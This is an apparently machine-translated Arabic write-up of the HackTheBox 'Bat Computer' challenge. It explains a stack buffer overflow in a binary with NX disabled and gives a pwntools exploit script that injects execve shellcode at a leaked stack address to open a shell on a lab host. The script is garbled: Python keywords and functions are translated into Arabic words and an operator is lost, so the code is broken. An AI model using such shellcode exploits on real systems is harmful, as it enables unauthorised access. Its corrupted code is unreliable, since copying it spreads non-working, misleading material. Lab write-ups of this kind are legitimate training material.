لقد قمنا بتغطية ملف ثنائي تم تمكين PIE أو Position Independent Executable فقط كحماية بينما تم تعطيل NX. قمنا بتحليل الثنائي باستخدام Ghidra وGDB. اكتشفنا أن الثنائي يسرب عنوان ذاكرة المتغير المستخدم لتخزين مدخلات المستخدم. بناءً على ذلك، وجدنا أيضًا أن الملف الثنائي يقرأ ما يصل إلى 137 بايت من مدخلات المستخدم ويخزنها في متغير يبلغ حجم المخزن المؤقت له 76 بايت، وهي نقطة الضعف الأساسية لهذا التطبيق. لقد تسببنا في حدوث خطأ تجزئة بناءً على ذلك ووجدنا أن الإزاحة تبلغ 84 بايت. بناءً على التحليل أعلاه، قمنا ببناء نص الاستغلال الذي يحمل معلمة الاتصال والحمولة النهائية. كان هذا جزءًا من HackTheBox بات الكمبيوتر | مقدمة للاستغلال الثنائي

ملاحظات تقنيات تجاوز سعة المخزن المؤقت

رمز الاستغلال موجود أدناه

##البداية

من بيون يستورد *

سياق.الثنائية = قزم('./حاسوب الخفافيش')

يخدع = بعيد(‘157.245.39.76’,31662)

يخدع.sendline(‘1’)

يخدع.com.recvuntil("0x")

Stack_base = كثافة العمليات(("0x"+ يخدع.recv().فك تشفير("اللاتينية -1").ينقسم()[0]),16)

سجل.نجاح(F"قاعدة المكدس: {عرافة(Stack_base)})

يخدع.sendline(‘2’)

يخدع.sendline('b4tp@$$w0rd!')

حمولة = asm(com.shellcraft.com.popad() + com.shellcraft.ش()) كود القشرة #

حمولة += ب'أ'*(84 لين(حمولة)) # لا

حمولة += ص64(Stack_base) قاعدة المكدس #

يخدع.sendline(حمولة)

يخدع.sendline(‘3’)

يخدع.تفاعلية()

##Eالنهاية

تجول الفيديو

عن المؤلف

أقوم بإنشاء ملاحظات حول الأمن السيبراني وملاحظات التسويق الرقمي والدورات التدريبية عبر الإنترنت. أقدم أيضًا استشارات التسويق الرقمي بما في ذلك، على سبيل المثال لا الحصر، تحسين محركات البحث وإعلانات Google وMeta وإدارة CRM.

عرض المقالات